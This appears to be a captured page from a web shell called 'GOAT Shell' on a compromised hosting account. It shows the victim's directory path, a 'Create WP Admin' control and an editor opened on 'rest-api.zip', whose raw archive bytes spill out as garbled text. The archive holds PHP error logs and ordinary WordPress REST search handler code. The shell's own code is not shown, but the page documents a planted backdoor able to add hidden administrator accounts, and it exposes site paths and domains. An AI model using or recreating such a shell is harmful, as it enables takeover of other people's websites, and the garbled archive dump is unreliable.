🐐 GOAT Shell
Current path:
home
/
fresvfqn
/
crimescenecleaningupsuffolkcounty.com
/
👤 Create WP Admin
⬆️
Go up: fresvfqn
✏️ Editing: rest-api.zip
PK �^[�� error_lognu �[��� [29-Aug-2025 17:18:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/class-wp-rest-response.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/class-wp-rest-response.php on line 17 [30-Sep-2025 18:50:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/class-wp-rest-response.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/class-wp-rest-response.php on line 17 [30-Oct-2025 01:37:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTTP_Response" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/class-wp-rest-response.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/class-wp-rest-response.php on line 17 PK �^[� search/error_lognu �[��� [01-Sep-2025 13:59:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17 [01-Sep-2025 18:46:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17 [01-Sep-2025 21:58:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17 [06-Oct-2025 07:55:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17 [06-Oct-2025 10:58:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17 [06-Oct-2025 14:07:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17 Stack trace: #0 {main} thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17 PK �^[:�Z Z 3 search/class-wp-rest-post-format-search-handler.phpnu �[��� <?php /** * REST API: WP_REST_Post_Format_Search_Handler class * * @package WordPress * @subpackage REST_API * @since 5.6.0 */ /** * Core class representing a search handler for post formats in the REST API. * * @since 5.6.0 * * @see WP_REST_Search_Handler */ class WP_REST_Post_Format_Search_Handler extends WP_REST_Search_Handler { /** * Constructor. * * @since 5.6.0 */ public function __construct() { $this->type = 'post-format'; } /** * Searches the post formats for a given search request. * * @since 5.6.0 * * @param WP_REST_Request $request Full REST request. * @return array { * Associative array containing found IDs and total count for the matching search results. * * @type string[] $ids Array containing slugs for the matching post formats. * @type int $total Total count for the matching search results. * } */ public function search_items( WP_REST_Request $request ) { $format_strings = get_post_format_strings(); $format_slugs = array_keys( $format_strings ); $query_args = array(); if ( ! empty( $request['search'] ) ) { $query_args['search'] = $request['search']; } /** * Filters the query arguments for a REST API post format search request. * * Enables adding extra arguments or setting defaults for a post format search request. * * @since 5.6.0 * * @param array $query_args Key value array of query var to query value. * @param WP_REST_Request $request The request used. */ $query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request ); $found_ids = array(); foreach ( $format_slugs as $format_slug ) { if ( ! empty( $query_args['search'] ) ) { $format_string = get_post_format_string( $format_slug ); $format_slug_match = stripos( $format_slug, $query_args['search'] ) !== false; $format_string_match = stripos( $format_string, $query_args['search'] ) !== false; if ( ! $format_slug_match && ! $format_string_match ) { continue; } } $format_link = get_post_format_link( $format_slug ); if ( $format_link ) { $found_ids[] = $format_slug; } } $page = (int) $request['page']; $per_page = (int) $request['per_page']; return array( self::RESULT_IDS => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ), self::RESULT_TOTAL => count( $found_ids ), ); } /** * Prepares the search result for a given post format. * * @since 5.6.0 * * @param string $id Item ID, the post format slug. * @param array $fields Fields to include for the item. * @return array { * Associative array containing fields for the post format based on the `$fields` parameter. * * @type string $id Optional. Post format slug. * @type string $title Optional. Post format name. * @type string $url Optional. Post format permalink URL. * @type string $type Optional. String 'post-format'. *} */ public function prepare_item( $id, array $fields ) { $data = array(); if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_ID ] = $id; } if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id ); } if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id ); } if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type; } return $data; } /** * Prepares links for the search result. * * @since 5.6.0 * * @param string $id Item ID, the post format slug. * @return array Links for the given item. */ public function prepare_item_links( $id ) { return array(); } } PK �^[eX�� , search/class-wp-rest-term-search-handler.phpnu �[��� <?php /** * REST API: WP_REST_Term_Search_Handler class * * @package WordPress * @subpackage REST_API * @since 5.6.0 */ /** * Core class representing a search handler for terms in the REST API. * * @since 5.6.0 * * @see WP_REST_Search_Handler */ class WP_REST_Term_Search_Handler extends WP_REST_Search_Handler { /** * Constructor. * * @since 5.6.0 */ public function __construct() { $this->type = 'term'; $this->subtypes = array_values( get_taxonomies( array( 'public' => true, 'show_in_rest' => true, ), 'names' ) ); } /** * Searches terms for a given search request. * * @since 5.6.0 * * @param WP_REST_Request $request Full REST request. * @return array { * Associative array containing found IDs and total count for the matching search results. * * @type int[] $ids Found term IDs. * @type string|int|WP_Error $total Numeric string containing the number of terms in that * taxonomy, 0 if there are no results, or WP_Error if * the requested taxonomy does not exist. * } */ public function search_items( WP_REST_Request $request ) { $taxonomies = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ]; if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $taxonomies, true ) ) { $taxonomies = $this->subtypes; } $page = (int) $request['page']; $per_page = (int) $request['per_page']; $query_args = array( 'taxonomy' => $taxonomies, 'hide_empty' => false, 'offset' => ( $page - 1 ) * $per_page, 'number' => $per_page, ); if ( ! empty( $request['search'] ) ) { $query_args['search'] = $request['search']; } if ( ! empty( $request['exclude'] ) ) { $query_args['exclude'] = $request['exclude']; } if ( ! empty( $request['include'] ) ) { $query_args['include'] = $request['include']; } /** * Filters the query arguments for a REST API term search request. * * Enables adding extra arguments or setting defaults for a term search request. * * @since 5.6.0 * * @param array $query_args Key value array of query var to query value. * @param WP_REST_Request $request The request used. */ $query_args = apply_filters( 'rest_term_search_query', $query_args, $request ); $query = new WP_Term_Query(); $found_terms = $query->query( $query_args ); $found_ids = wp_list_pluck( $found_terms, 'term_id' ); unset( $query_args['offset'], $query_args['number'] ); $total = wp_count_terms( $query_args ); // wp_count_terms() can return a falsey value when the term has no children. if ( ! $total ) { $total = 0; } return array( self::RESULT_IDS => $found_ids, self::RESULT_TOTAL => $total, ); } /** * Prepares the search result for a given term ID. * * @since 5.6.0 * * @param int $id Term ID. * @param array $fields Fields to include for the term. * @return array { * Associative array containing fields for the term based on the `$fields` parameter. * * @type int $id Optional. Term ID. * @type string $title Optional. Term name. * @type string $url Optional. Term permalink URL. * @type string $type Optional. Term taxonomy name. * } */ public function prepare_item( $id, array $fields ) { $term = get_term( $id ); $data = array(); if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_ID ] = (int) $id; } if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TITLE ] = $term->name; } if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_URL ] = get_term_link( $id ); } if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) { $data[ WP_REST_Search_Controller::PROP_TYPE ] = $term->taxonomy; } return $data; } /** * Prepares links for the search result of a given ID. * * @since 5.6.0 * * @param int $id Item ID. * @return array[] Array of link arrays for the given item. */ public function prepare_item_links( $id ) { $term = get_term( $id ); $links = array(); $item_route = rest_get_route_for_term( $term ); if ( $item_route ) { $links['self'] = array( 'href' => rest_url( $item_route ), 'embeddable' => true, ); } $links['about'] = array( 'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $term->taxonomy ) ), ); return $links; } } PK �^[��p�� � '